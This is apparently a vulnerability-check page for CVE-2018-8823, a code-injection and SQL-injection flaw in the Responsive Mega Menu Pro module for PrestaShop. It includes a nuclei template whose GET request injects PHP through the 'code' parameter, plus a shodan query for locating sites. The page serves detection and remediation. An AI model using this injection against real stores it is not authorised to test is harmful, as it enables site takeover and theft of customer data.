CVE-2018-8823· responsive mega menu pro project / responsive mega menu pro· CWE-94
PrestaShop Responsive Mega Menu Module - Remote Code Execution
The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.
Impact
Unauthenticated attackers can execute arbitrary PHP code or SQL commands through the module, leading to complete PrestaShop compromise and access to customer data.
Fix
Remove the vulnerable Responsive Mega Menu Pro module or upgrade to a patched version.
How to confirm it
Send: GET {{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))
Positive when: contains "{{md5(num)}}" AND status 200Run it with nuclei: nuclei -id CVE-2018-8823 -u <target>
The full check
id: CVE-2018-8823
info:
name: PrestaShop Responsive Mega Menu Module - Remote Code Execution
author: MaStErChO
severity: critical
description: |
The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.
impact: |
Unauthenticated attackers can execute arbitrary PHP code or SQL commands through the module, leading to complete PrestaShop compromise and access to customer data.
remediation: |
Remove the vulnerable Responsive Mega Menu Pro module or upgrade to a patched version.
reference:
- https://vulners.com/openvas/OPENVAS:1361412562310144185
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
- https://github.com/advisories/GHSA-q937-6mg8-6rgc
- https://nvd.nist.gov/vuln/detail/CVE-2018-8823
- https://github.com/zapalm/prestashop-security-vulnerability-checker
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-8823
cwe-id: CWE-94
epss-score: 0.50398
epss-percentile: 0.98921
cpe: cpe:2.3:a:responsive_mega_menu_pro_project:responsive_mega_menu_pro:1.0.32:*:*:*:*:prestashop:*:*
metadata:
verified: true
max-request: 1
vendor: responsive_mega_menu_pro_project
product: responsive_mega_menu_pro
framework: prestashop
shodan-query: http.component:"prestashop"
tags: cve,cve2018,prestashop,rce,sqli,responsive_mega_menu_pro_project,vuln
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200References
- https://vulners.com/openvas/OPENVAS:1361412562310144185
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
- https://github.com/advisories/GHSA-q937-6mg8-6rgc
- https://nvd.nist.gov/vuln/detail/CVE-2018-8823
- https://github.com/zapalm/prestashop-security-vulnerability-checker
Use this check only on systems you are authorised to test. Where the data comes from